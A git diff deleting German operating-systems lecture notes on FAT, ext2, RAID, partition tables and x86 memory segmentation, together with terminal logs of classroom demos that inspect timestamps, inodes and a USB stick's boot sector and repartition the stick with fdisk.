---> zusätzlich zu den eigentlichen Daten: Administrationsdaten speichern
---> "Dateisystem"
-
-Beispiel: FAT
-
-  Einteilung der Festplatte in "Cluster" (gröber als "Sektoren")
-  FAT = Tabelle von Clustern = kleinste ansprechbare Einheit
-
-  Beispiel: Festplatte mit 500 MB mit FAT-16-Dateisystem
-  --> Cluster-Tabelle enthält 16-Bit-Zahlen
-  --> maximal 65536 Cluster
-  --> minimale Cluster-Größe: 500000000 / 65536 = 7629.39453125, etwa 8 kiB
-  --> ineffizient
-
-  Die FAT enthält verkettete Listen von Clustern, in denen sich jeweils
-  die Daten einer Datei befinden
-
-  Verzeichnis: Tabelle mit
-    Dateinamen: zunächst nur 8 + 3 Zeichen
-    Dateiattribute, z.B. Schreibschutz
-    Datum und Uhrzeit
-    Start-Cluster
-    Dateigröße
-    --> zusammen: 32 Bytes
-
-    Längere Dateinamen: VFAT
-      man verwendet zusätzlich Verzeichniseinträge mit ungültigen Attributen,
-      um eine längere Version des Dateinamens zu speichern
-
-  Nachteile von FAT:
-
-    neigt zur Fragmentierung, gelegentliches Defragmentieren erforderlich
-    (Achtung: Auf SSDs ist Defragmentieren kontraproduktiv!
-    Es ist daher wichtig, daß das Betriebssystem weiß, ob es sich
-    um eine SSD oder um eine Magnetplatte mit Schreib-Lese-Kopf handelt.)
-
-    speichert Zeitangaben nur mit einer Genauigkeit von 2s
-    Dies macht Probleme mit Programmen, die auf die Uhrzeit einer Datei
-    achten, z.B. make
-    Ursache:
-
-      Wie speichert man Datum und Uhrzeit?
-      Unter Unix: 32-Bit-Zahl, Sekunden seit dem 1.1.1970
-      --> reicht bis zum 19.1.2038, 3:14:08 Uhr
-
-      Unter FAT: 32-Bit-Zahl, unterteilt in
-        7 Bits für das Jahr ab 1980 --> reicht bis 2107
-        4 Bits für den Monat
-        5 Bits für den Tag
-        5 Bits für die Stunde
-        6 Bits für die Minute
-        5 Bits für die Sekunde --> 1 Bit zu wenig
-
-Beispiel: ext2 - Unix-Dateisystem
-
-  Einteilung der Festplatte in "Blöcke" (gröber als "Sektoren",
-  aber i.d.R. weniger grob als "Cluster")
-
-  Superblock: Informationen über das Dateisystem
-  Der Datenträger enthält zusätzlich mehrere Kopien des Superblocks.
-
-  Inodes: Jeder Inode repräsentiert eine Datei.
-    NICHT im Inode: Dateiname
-    Dateiattribute, z.B. Schreibschutz, Besitzer
-    Datum und Uhrzeit
-    Dateigröße
-    Ort der eigentlichen Daten ("ersetzt" die verkettete Liste in der FAT)
-      https://en.wikipedia.org/wiki/Ext2#/media/File:Ext2-inode.svg
-      feste Anzahl von Zeigern auf die Blöcke mit den Daten
-      Die letzten 3 sind indirekte Zeiger:
-        drittletzter: Zeiger auf 1 Block mit weiteren Zeigern auf die Blöcke mit den Daten
-        vorletzter: Zeiger auf 1 Block mit weiteren Zeigern auf
-          weitere Blöcke mit Zeigern auf die Blöcke mit den Daten
-        letzter: Zeiger auf 1 Block mit weiteren Zeigern auf
-          weitere Blöcke mit Zeigern auf
-          weitere Blocke mit Zeigern die die Blöcke mit den Daten
-      --> Maximale Größe einer Datei: 1024 · 1024 Blöcke
-
-  Die Inodes liegen nicht in den Blöcken,
-  sondern es wird beim Formatieren eine feste Anzahl von Inodes erzeugt.
-  --> Wenn keine Inodes mehr verfügbar sind, ist der Datenträger voll,
-      obwohl tatsächlich noch Platz vorhanden wäre.
-      Dies ist normalerweise kein Problem, außer bei sehr vielen kleinen Dateien.
-
-  Verzeichnis = normale Datei (mit "d"-Attribut)
-  enthält:
-    Inode-Nummer
-    Länge des Dateinamens
-    Dateiname
-  (Aus Effizienzgründen werden manchmal Teile des Inhalts des Inodes
-  in das Verzeichnis kopiert.)
-
-  Hard Link: mehrere Dateinamen, die auf denselben Inode verweisen
-  Anzeigen der Inode-Nr. mit "ls -i"
-  --> Dies ist die einzige Möglichkeit, herauszufinden,
-      welche Hard Links zusammengehören.
-  --> Backups von Datenträgern, die die Hard-Link-Struktur erhalten,
-      sind aufwendig.
-
-RAID, 09.05.2022, 12:55:57
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-Mehrere Datenträger zu einem kombinieren
-Ziel: mehr Sicherheit und/oder Effizienz
-https://de.wikipedia.org/wiki/RAID
-
-RAID-0: mehr Effizienz
-  2 Festplatten (oder mehr) hintereinander
-  zu einer großen zusammengeschaltet --> mehr Speicherplatz
-  Schreiben erfolgt immer auf beiden Platten parallel --> doppelt so schnell
-  Keine Ausfallsicherheit!
-  Im Gegenteil: Fällt eine Platte aus, ist sofort alles weg.
-
-RAID-1: mehr Sicherheit
-  2 Festplatten (oder mehr) parallel
-  Daten werden immer auf beiden Platten gespeichert.
-  Fällt eine aus, ist die andere Platte noch da.
-  --> nur halb so viel Speicherplatz
-
-RAID-01: beides
-  RAID-01 = RAID-1 aus zwei RAID-0
-  (auch über 3 Platten möglich)
-
-RAID-10: beides
-  RAID-10 = RAID-0 aus zwei RAID-1
-  (mindestens 4 Platten)
-
-RAID-3 (Vorläufer von RAID-5): beides
-  n Platten
-  n-1 davon bilden ein RAID-0: Effizienz ohne Ausfallsicherheit
-  Die verbleibende Platte speichert die Parität über die anderen n-1:
-
-    Inhalt von Disk 3: D3 = D0 xor D1 xor D2
-
-  Fällt eine Platte aus, z.B. D2,
-  dann läßt sich diese wie folgt rekonstruieren:
-
-    D2 = D0 xor D1 xor D3
-
-  Nachteil von RAID-3: Die Paritätsplatte hat eine Sonderrolle.
-  --> Diese Platte wird stärker beansprucht und fällt schneller aus,
-      und sie ist an jeder Schreiboperation beteiligt, was Effizienz kostet.
-
-RAID-5: wie RAID-3, aber ohne den o.a. Nachteil
-  Für jeden Datenblock wird die Paritätsinformation
-  auf einer anderen Platte gespeichert
-  --> gleichmäßige Beanspruchung der Platten
-
-Partitionen, 09.05.2022, 12:48:53
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Grobunterteilung eines Datenträgers in physikalisch getrennte Bereiche
-Anwendungen:
- - getrenne Bereiche für System und Daten
- - mehrere Betriebssysteme (Dual Boot)
-Verwandte Konzepte:
- - LVM: Zusammenlegen mehrerer Datenträger zu einem großen;
-   freie Unterteilung des Gesamtbereichs
- - Datenträger verschlüsseln, Zugriff über neue Block-Device
- - Datenträger zu RAID-System zusammenlegen
-
-Früher: BIOS
-
-  Die Partitionstabelle befindet sich im Boot-Sektor (erste 512 Bytes
-  eines Datenträgers) ab Adresse 0x1be.
-
-  Dort ist Platz für bis zu 4 Partitionen.
-
-    Falls man mehr braucht, kann man eine davon zur "extended Partition" erklären
-    und darin dann weitere Partitionen ("logische Laufwerke") anlegen.
-    (Früher: bis zu 4; inzwischen: unbegrenzt)
-
-  Notebook "cassini": keine klassische Partitionstabelle, sondern GPT
-
-  USB-Stick: gar keine Partitionstabelle, sondern durchgehend formatiert (mit FAT)
-
-  Man kann auch auf dem USB-Stick Partitionen anlegen und diese dann
-  formatieren und benutzen. Üblich ist beides.
-
-  Manche Betriebssysteme haben Probleme, auf eine der beiden Varianten zuzugreifen.
-  In diesem Fall: die andere Variante ausprobieren
-
-Heute: GPT
- - Anzahl der Partitionen: beliebig (32-Bit-Zahl)
- - Partitionen erhalten GUIDs (Globally Unique Identifiers)
- - Partitionstabelle befindet sich zweimal auf dem Datenträger
-
-Verwaltung von Arbeitsspeicher (RAM), 09.05.2022, 13:48:19
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-8086: 16-Bit-Intel-Prozessor (Mitte der 1980er Jahre):
-
-  Speicheradresse: xxxx:xxxx, z.B. 31d6:0100 oder b800:0300
-                   ~~~~ ~~~~
-               Segment    Offset   <-- jeweils 16 Bit
-
-  Adressierbarer Speicher: 1 MiB = 1024 kiB = 2^20 Bytes
-  Register: nur 16 Bit, nicht 20
-
-  Speicheradresse = 16 · Segment + Offset
-
-  z.B.: 31d6:0100 = 16 · 31d6 + 0100 = 31d60 + 0100 = 31e60
-
-  Praktischer Sinn: Relokation
-   - 16-Bit-Programme können über 64 kiB (= 65536 Bytes) frei verfügen
-   - Ansprechen dieser 64 kiB nur über Offset-Adresse
-   - Das Betriebssystem teilt die Segment-Adresse zu
-  --> Das Anwendungsprogramm kann ohne Änderung
-      an jeder beliebigen Stelle im Speicher laufen ("Relokation").
-  --> Der Prozessor sieht für das Programm bis zu 4 Segmente vor:
-      Code, Daten, Stack, "Extra" --> zusammen 256 kiB
-
-  Sobald dies nicht mehr genügte, nahmen die Programme eigenständig
-  weitere Segmente hinzu. --> volle 1024 kiB ansprechbar
-  --> Unterlaufen der Zuweisung durch das Betriebssystem
-  --> instabil
-
-  Hätten sich die Programme an die Zuweisung durch das Betriebssystem gehalten,
-  wären sie voreinander abgeschottet gewesen.
-
-80286: 16-Bit-Intel-Prozessor mit "Protected Mode" (Ende der 1980er Jahre):
-
-  Speicheradresse: xxxx:xxxx
-                   ~~~~ ~~~~
-              Selektor    Offset   <-- jeweils 16 Bit
-
-  Der Selektor ist ein Index für ein Array,
-  das sich im Prozessor befindet.
-  Darin enthalten:
-   - tatsächliche Speicheradresse des Segments (auch über 1 MiB hinaus)
-   - Größe des Segments
-   - Zugriffsrechte, z.B.: nur lesbar, ausführbar
-  --> Die Hardware kann die Programme voreinander abschotten (daher "protected").
-      Das Betriebssystem nutzt dies nicht, um sich gegen Programme abzuschotten.
-
-  Nachteil: Offset nur 16 Bit --> Beschränkung auf 256 kiB
-  Umgehung: Das Programm selbst verwaltet die Selektoren.
-  --> "protected" hinfällig
-
-  (Es gab verschiedene Standards, um auf mehr als 1024 kiB zuzugreifen:
-  HMA, XMS, EMS, DPMI)
-
-  Zum Gruseln: HMA
-   - setze das Segment auf 0xffff
-   - sorge per Selektor dafür, daß damit die ersten 64 kiB
-     oberhalb von 1024 kiB angesprochen werden können
-  --> zusätzliche 64 kiB an Speicher nutzbar
-
-80386: 32-Bit-Intel-Prozessor mit "Protected Mode" (1990er Jahre):
-
-  Speicheradresse: xxxx:xxxxxxxx
-                   ~~~~ ~~~~~~~~
-              Selektor    Offset   <-- 16 bzw. 32 Bit
-
-  Der Selektor ist ein Index für ein Array,
-  das sich im Prozessor befindet (wie beim 80286).
-
-  Das Offset ist 32 Bit breit und kann daher bis zu 4 GiB ansprechen. :-)
-
-  --> Das Betriebssystem weist dem Programm ein Segment bis zu 4 GiB zu
-      und schottet es gegenüber sich selbst und anderen Programmen ab.
-      (Bei OS/2 und Unix: von Anfang an; bei MS Windows: ab NT 4.0 bzw. XP)
diff --git a/20220509/fat-1.txt b/20220509/fat-1.txt
deleted file mode 100644
index 24927581e25946932ba0521100aaa93c15075290..0000000000000000000000000000000000000000
--- a/20220509/fat-1.txt
+++ /dev/null
@@ -1,76 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220509> for x in $(seq 10); do echo "Test $x" > test-$x.txt; sleep 1s; done
-cassini/home/peter/bo/2022ss/bs/20220509> t
-insgesamt 44
--rw-r--r-- 1 peter peter 2404 Mai  9 11:41 bs-20220509.txt
--rw-r--r-- 1 peter peter    7 Mai  9 11:43 test-1.txt
--rw-r--r-- 1 peter peter    7 Mai  9 11:43 test-2.txt
--rw-r--r-- 1 peter peter    7 Mai  9 11:43 test-3.txt
--rw-r--r-- 1 peter peter    7 Mai  9 11:43 test-4.txt
--rw-r--r-- 1 peter peter    7 Mai  9 11:43 test-5.txt
--rw-r--r-- 1 peter peter    7 Mai  9 11:43 test-6.txt
--rw-r--r-- 1 peter peter    7 Mai  9 11:43 test-7.txt
--rw-r--r-- 1 peter peter    7 Mai  9 11:43 test-8.txt
--rw-r--r-- 1 peter peter    7 Mai  9 11:43 test-9.txt
--rw-r--r-- 1 peter peter    8 Mai  9 11:43 test-10.txt
-cassini/home/peter/bo/2022ss/bs/20220509> t --full-time
-insgesamt 44
--rw-r--r-- 1 peter peter 2404 2022-05-09 11:41:32.234960815 +0200 bs-20220509.txt
--rw-r--r-- 1 peter peter    7 2022-05-09 11:43:24.483456255 +0200 test-1.txt
--rw-r--r-- 1 peter peter    7 2022-05-09 11:43:25.487461113 +0200 test-2.txt
--rw-r--r-- 1 peter peter    7 2022-05-09 11:43:26.491465980 +0200 test-3.txt
--rw-r--r-- 1 peter peter    7 2022-05-09 11:43:27.495470853 +0200 test-4.txt
--rw-r--r-- 1 peter peter    7 2022-05-09 11:43:28.499475734 +0200 test-5.txt
--rw-r--r-- 1 peter peter    7 2022-05-09 11:43:29.499480603 +0200 test-6.txt
--rw-r--r-- 1 peter peter    7 2022-05-09 11:43:30.503485497 +0200 test-7.txt
--rw-r--r-- 1 peter peter    7 2022-05-09 11:43:31.507490398 +0200 test-8.txt
--rw-r--r-- 1 peter peter    7 2022-05-09 11:43:32.507495287 +0200 test-9.txt
--rw-r--r-- 1 peter peter    8 2022-05-09 11:43:33.511500202 +0200 test-10.txt
-cassini/home/peter/bo/2022ss/bs/20220509> cp -pi test*.txt /media/usb0/
-cassini/home/peter/bo/2022ss/bs/20220509> ls -l /media/usb0/
-insgesamt 172
--rwxr-xr-x 1 peter peter 17312 Okt  5  2013 Operating_system_placement-de.svg
--rwxr-xr-x 1 peter peter 54045 Mai  4  2015 os-layers-4.jpg
--rwxr-xr-x 1 peter peter 54499 Mai  4  2015 os-layers-5.jpg
--rwxr-xr-x 1 peter peter     8 Mai  9 11:43 test-10.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-1.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-2.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-3.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-4.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-5.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-6.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-7.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-8.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-9.txt
-cassini/home/peter/bo/2022ss/bs/20220509> ls -l --full-time /media/usb0/
-insgesamt 172
--rwxr-xr-x 1 peter peter 17312 2013-10-05 13:36:20.000000000 +0200 Operating_system_placement-de.svg
--rwxr-xr-x 1 peter peter 54045 2015-05-04 10:28:56.000000000 +0200 os-layers-4.jpg
--rwxr-xr-x 1 peter peter 54499 2015-05-04 10:29:04.000000000 +0200 os-layers-5.jpg
--rwxr-xr-x 1 peter peter     8 2022-05-09 11:43:33.000000000 +0200 test-10.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:24.000000000 +0200 test-1.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:25.000000000 +0200 test-2.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:26.000000000 +0200 test-3.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:27.000000000 +0200 test-4.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:28.000000000 +0200 test-5.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:29.000000000 +0200 test-6.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:30.000000000 +0200 test-7.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:31.000000000 +0200 test-8.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:32.000000000 +0200 test-9.txt
-cassini/home/peter/bo/2022ss/bs/20220509> umount /media/usb0
-cassini/home/peter/bo/2022ss/bs/20220509> mount /media/usb0
-cassini/home/peter/bo/2022ss/bs/20220509> ls -l --full-time /media/usb0/
-insgesamt 172
--rwxr-xr-x 1 peter peter 17312 2013-10-05 13:36:20.000000000 +0200 Operating_system_placement-de.svg
--rwxr-xr-x 1 peter peter 54045 2015-05-04 10:28:56.000000000 +0200 os-layers-4.jpg
--rwxr-xr-x 1 peter peter 54499 2015-05-04 10:29:04.000000000 +0200 os-layers-5.jpg
--rwxr-xr-x 1 peter peter     8 2022-05-09 11:43:32.000000000 +0200 test-10.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:24.000000000 +0200 test-1.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:24.000000000 +0200 test-2.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:26.000000000 +0200 test-3.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:26.000000000 +0200 test-4.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:28.000000000 +0200 test-5.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:28.000000000 +0200 test-6.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:30.000000000 +0200 test-7.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:30.000000000 +0200 test-8.txt
--rwxr-xr-x 1 peter peter     7 2022-05-09 11:43:32.000000000 +0200 test-9.txt
-cassini/home/peter/bo/2022ss/bs/20220509>
diff --git a/20220509/inodes-1.txt b/20220509/inodes-1.txt
deleted file mode 100644
index 7edc59278411a93923af59a60113e9095c429820..0000000000000000000000000000000000000000
--- a/20220509/inodes-1.txt
+++ /dev/null
@@ -1,19 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220509> ls -li ../20220321/
-insgesamt 212
-2315892 -rw-r--r-- 1 peter peter 132656 Mär 21 11:05 bs-20220321.pdf
-2315898 -rw-r--r-- 1 peter peter  42244 Mär 21 11:04 bs-20220321.tex
-2315648 -rwxr-xr-x 1 peter peter     21 Mär 21 13:18 hello
-2315910 -rwxr-xr-x 1 peter peter     34 Mär 21 13:44 hello-1
-2315909 -rwxr-xr-x 1 peter peter     17 Mär 21 13:46 hello-1.bc
-2315912 -rwxr-xr-x 1 peter peter     21 Mär 21 14:01 hello-2.bc
-2315913 -rwxr-xr-x 1 peter peter     26 Mär 21 14:04 hello-3.bc
-2315905 lrwxrwxrwx 1 peter peter     45 Apr 17  2016 logo-hochschule-bochum-cvh-text.pdf -> ../common/logo-hochschule-bochum-cvh-text.pdf
-2315906 lrwxrwxrwx 1 peter peter     36 Apr 17  2016 logo-hochschule-bochum.pdf -> ../common/logo-hochschule-bochum.pdf
-2315896 lrwxrwxrwx 1 peter peter     43 Apr 17  2016 Operating_system_placement-de.pdf -> ../common/Operating_system_placement-de.pdf
-2315897 lrwxrwxrwx 1 peter peter     22 Apr 13  2018 pgslides.sty -> ../common/pgslides.sty
-2315930 -rw-r--r-- 1 peter peter     25 Mär 21 20:02 SCRATCH
-2315907 -rw-r--r-- 3 peter peter      5 Mär 21 14:32 test-1.txt
-2315911 lrwxrwxrwx 1 peter peter     10 Mär 21 14:29 test-2.txt -> test-1.txt
-2315907 -rw-r--r-- 3 peter peter      5 Mär 21 14:32 test-3.txt
-2315907 -rw-r--r-- 3 peter peter      5 Mär 21 14:32 test-4.txt
-cassini/home/peter/bo/2022ss/bs/20220509>
diff --git a/20220509/partitions-1.txt b/20220509/partitions-1.txt
deleted file mode 100644
index 5ff8a7d0acb420a130ea50115364a05c94a06221..0000000000000000000000000000000000000000
--- a/20220509/partitions-1.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220509> ls -l /dev/sdb
-brw-rw---- 1 root disk 8, 16 Mai  9 11:35 /dev/sdb
-cassini/home/peter/bo/2022ss/bs/20220509> sudo chown peter /dev/sdb
-[sudo] Passwort für peter:
-cassini/home/peter/bo/2022ss/bs/20220509> ls -l /dev/sdb
-brw-rw---- 1 peter disk 8, 16 Mai  9 11:35 /dev/sdb
-cassini/home/peter/bo/2022ss/bs/20220509>
diff --git a/20220509/partitions-2.txt b/20220509/partitions-2.txt
deleted file mode 100644
index 6c310e60397597ded99158f3acf0e7f2471f2ee1..0000000000000000000000000000000000000000
--- a/20220509/partitions-2.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220509> dd if=/dev/sdb bs=512 count=1 | hexdump -C > bootsector-usb-stick.txt
-1+0 Datensätze ein
-1+0 Datensätze aus
-512 bytes copied, 0,00154857 s, 331 kB/s
-cassini/home/peter/bo/2022ss/bs/20220509> cat bootsector-usb-stick.txt
-00000000  eb 58 90 6d 6b 66 73 2e  66 61 74 00 02 08 20 00  |.X.mkfs.fat... .|
-00000010  02 00 00 00 00 f8 00 00  3e 00 81 00 00 00 00 00  |........>.......|
-00000020  00 d0 7c 00 28 1f 00 00  00 00 00 00 02 00 00 00  |..|.(...........|
-00000030  01 00 06 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-00000040  80 01 29 27 b7 d9 08 4e  4f 20 4e 41 4d 45 20 20  |..)'...NO NAME  |
-00000050  20 20 46 41 54 33 32 20  20 20 0e 1f be 77 7c ac  |  FAT32   ...w|.|
-00000060  22 c0 74 0b 56 b4 0e bb  07 00 cd 10 5e eb f0 32  |".t.V.......^..2|
-00000070  e4 cd 16 cd 19 eb fe 54  68 69 73 20 69 73 20 6e  |.......This is n|
-00000080  6f 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 64 69  |ot a bootable di|
-00000090  73 6b 2e 20 20 50 6c 65  61 73 65 20 69 6e 73 65  |sk.  Please inse|
-000000a0  72 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 66 6c  |rt a bootable fl|
-000000b0  6f 70 70 79 20 61 6e 64  0d 0a 70 72 65 73 73 20  |oppy and..press |
-000000c0  61 6e 79 20 6b 65 79 20  74 6f 20 74 72 79 20 61  |any key to try a|
-000000d0  67 61 69 6e 20 2e 2e 2e  20 0d 0a 00 00 00 00 00  |gain ... .......|
-000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000200
-cassini/home/peter/bo/2022ss/bs/20220509>
diff --git a/20220509/partitions-3.txt b/20220509/partitions-3.txt
deleted file mode 100644
index 6044e346cb8fdd13ebfcdda22a48a0a329e43e8f..0000000000000000000000000000000000000000
--- a/20220509/partitions-3.txt
+++ /dev/null
@@ -1,170 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220509> lsblk
-NAME                 MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
-sda                    8:0    0 115,5G  0 disk
-├─sda1                 8:1    0   487M  0 part  /boot/efi
-├─sda2                 8:2    0   244M  0 part  /boot
-└─sda3                 8:3    0 114,8G  0 part
-  └─sda3_crypt       254:0    0 114,8G  0 crypt
-    ├─cassini-root   254:1    0 110,9G  0 lvm   /
-    └─cassini-swap_1 254:2    0   3,9G  0 lvm   [SWAP]
-sdb                    8:16   1   3,9G  0 disk  /media/usb0
-cassini/home/peter/bo/2022ss/bs/20220509> ls -l /media/usb0/
-insgesamt 172
--rwxr-xr-x 1 peter peter 17312 Okt  5  2013 Operating_system_placement-de.svg
--rwxr-xr-x 1 peter peter 54045 Mai  4  2015 os-layers-4.jpg
--rwxr-xr-x 1 peter peter 54499 Mai  4  2015 os-layers-5.jpg
--rwxr-xr-x 1 peter peter     8 Mai  9 11:43 test-10.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-1.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-2.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-3.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-4.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-5.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-6.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-7.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-8.txt
--rwxr-xr-x 1 peter peter     7 Mai  9 11:43 test-9.txt
-cassini/home/peter/bo/2022ss/bs/20220509> umount /media/usb0
-cassini/home/peter/bo/2022ss/bs/20220509> fdisk /dev/sdb
-bash: fdisk: Kommando nicht gefunden.
-cassini/home/peter/bo/2022ss/bs/20220509> /sbin/fdisk /dev/sdb
-
-Welcome to fdisk (util-linux 2.33.1).
-Changes will remain in memory only, until you decide to write them.
-Be careful before using the write command.
-
-
-Command (m for help): m
-
-Help:
-
-  DOS (MBR)
-   a   toggle a bootable flag
-   b   edit nested BSD disklabel
-   c   toggle the dos compatibility flag
-
-  Generic
-   d   delete a partition
-   F   list free unpartitioned space
-   l   list known partition types
-   n   add a new partition
-   p   print the partition table
-   t   change a partition type
-   v   verify the partition table
-   i   print information about a partition
-
-  Misc
-   m   print this menu
-   u   change display/entry units
-   x   extra functionality (experts only)
-
-  Script
-   I   load disk layout from sfdisk script file
-   O   dump disk layout to sfdisk script file
-
-  Save & Exit
-   w   write table to disk and exit
-   q   quit without saving changes
-
-  Create a new label
-   g   create a new empty GPT partition table
-   G   create a new empty SGI (IRIX) partition table
-   o   create a new empty DOS partition table
-   s   create a new empty Sun partition table
-
-
-Command (m for help): p
-Disk /dev/sdb: 3,9 GiB, 4188012544 bytes, 8179712 sectors
-Disk model: Flash Disk
-Units: sectors of 1 * 512 = 512 bytes
-Sector size (logical/physical): 512 bytes / 512 bytes
-I/O size (minimum/optimal): 512 bytes / 512 bytes
-Disklabel type: dos
-Disk identifier: 0x00000000
-
-Command (m for help): o
-Created a new DOS disklabel with disk identifier 0x608a28f5.
-
-Command (m for help): p
-Disk /dev/sdb: 3,9 GiB, 4188012544 bytes, 8179712 sectors
-Disk model: Flash Disk
-Units: sectors of 1 * 512 = 512 bytes
-Sector size (logical/physical): 512 bytes / 512 bytes
-I/O size (minimum/optimal): 512 bytes / 512 bytes
-Disklabel type: dos
-Disk identifier: 0x608a28f5
-
-Command (m for help): n
-Partition type
-   p   primary (0 primary, 0 extended, 4 free)
-   e   extended (container for logical partitions)
-Select (default p): p
-Partition number (1-4, default 1):
-First sector (2048-8179711, default 2048):
-Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-8179711, default 8179711):
-
-Created a new partition 1 of type 'Linux' and of size 3,9 GiB.
-
-Command (m for help): p
-Disk /dev/sdb: 3,9 GiB, 4188012544 bytes, 8179712 sectors
-Disk model: Flash Disk
-Units: sectors of 1 * 512 = 512 bytes
-Sector size (logical/physical): 512 bytes / 512 bytes
-I/O size (minimum/optimal): 512 bytes / 512 bytes
-Disklabel type: dos
-Disk identifier: 0x608a28f5
-
-Device     Boot Start     End Sectors  Size Id Type
-/dev/sdb1        2048 8179711 8177664  3,9G 83 Linux
-
-Command (m for help): t
-Selected partition 1
-Hex code (type L to list all codes): L
-
- 0  Empty           24  NEC DOS         81  Minix / old Lin bf  Solaris
- 1  FAT12           27  Hidden NTFS Win 82  Linux swap / So c1  DRDOS/sec (FAT-
- 2  XENIX root      39  Plan 9          83  Linux           c4  DRDOS/sec (FAT-
- 3  XENIX usr       3c  PartitionMagic  84  OS/2 hidden or  c6  DRDOS/sec (FAT-
- 4  FAT16 <32M      40  Venix 80286     85  Linux extended  c7  Syrinx
- 5  Extended        41  PPC PReP Boot   86  NTFS volume set da  Non-FS data
- 6  FAT16           42  SFS             87  NTFS volume set db  CP/M / CTOS / .
- 7  HPFS/NTFS/exFAT 4d  QNX4.x          88  Linux plaintext de  Dell Utility
- 8  AIX             4e  QNX4.x 2nd part 8e  Linux LVM       df  BootIt
- 9  AIX bootable    4f  QNX4.x 3rd part 93  Amoeba          e1  DOS access
- a  OS/2 Boot Manag 50  OnTrack DM      94  Amoeba BBT      e3  DOS R/O
- b  W95 FAT32       51  OnTrack DM6 Aux 9f  BSD/OS          e4  SpeedStor
- c  W95 FAT32 (LBA) 52  CP/M            a0  IBM Thinkpad hi ea  Rufus alignment
- e  W95 FAT16 (LBA) 53  OnTrack DM6 Aux a5  FreeBSD         eb  BeOS fs
- f  W95 Ext'd (LBA) 54  OnTrackDM6      a6  OpenBSD         ee  GPT
-10  OPUS            55  EZ-Drive        a7  NeXTSTEP        ef  EFI (FAT-12/16/
-11  Hidden FAT12    56  Golden Bow      a8  Darwin UFS      f0  Linux/PA-RISC b
-12  Compaq diagnost 5c  Priam Edisk     a9  NetBSD          f1  SpeedStor
-14  Hidden FAT16 <3 61  SpeedStor       ab  Darwin boot     f4  SpeedStor
-16  Hidden FAT16    63  GNU HURD or Sys af  HFS / HFS+      f2  DOS secondary
-17  Hidden HPFS/NTF 64  Novell Netware  b7  BSDI fs         fb  VMware VMFS
-18  AST SmartSleep  65  Novell Netware  b8  BSDI swap       fc  VMware VMKCORE
-1b  Hidden W95 FAT3 70  DiskSecure Mult bb  Boot Wizard hid fd  Linux raid auto
-1c  Hidden W95 FAT3 75  PC/IX           bc  Acronis FAT32 L fe  LANstep
-1e  Hidden W95 FAT1 80  Old Minix       be  Solaris boot    ff  BBT
-Hex code (type L to list all codes): c
-Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.
-
-Command (m for help): p
-Disk /dev/sdb: 3,9 GiB, 4188012544 bytes, 8179712 sectors
-Disk model: Flash Disk
-Units: sectors of 1 * 512 = 512 bytes
-Sector size (logical/physical): 512 bytes / 512 bytes
-I/O size (minimum/optimal): 512 bytes / 512 bytes
-Disklabel type: dos
-Disk identifier: 0x608a28f5
-
-Device     Boot Start     End Sectors  Size Id Type
-/dev/sdb1        2048 8179711 8177664  3,9G  c W95 FAT32 (LBA)
-
-Command (m for help): w
-The partition table has been altered.
-Failed to add partition 1 to system: Keine Berechtigung
-
-The kernel still uses the old partitions. The new table will be used at the next reboot.
-Syncing disks.
-
-cassini/home/peter/bo/2022ss/bs/20220509>
diff --git a/20220509/test-1.txt b/20220509/test-1.txt
deleted file mode 100644
index ac5ab8fbdb5f9b410cba904145f975593182dced..0000000000000000000000000000000000000000
--- a/20220509/test-1.txt
+++ /dev/null
